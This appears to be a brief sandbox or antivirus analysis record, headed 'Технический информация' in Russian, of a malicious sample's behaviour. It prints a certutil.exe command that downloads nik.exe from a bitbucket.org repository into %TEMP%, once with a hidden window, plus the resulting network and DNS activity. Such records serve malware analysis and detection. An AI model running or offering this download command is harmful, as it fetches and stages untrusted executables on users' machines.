Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://bitbucket.org/cryptexxx/files/downloads/nik.exe %TEMP%\nik.exe
- 'bi###cket.org':443
- DNS ASK bi###cket.org
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://bitbucket.org/cryptexxx/files/downloads/nik.exe %TEMP%\nik.exe' (со скрытым окном)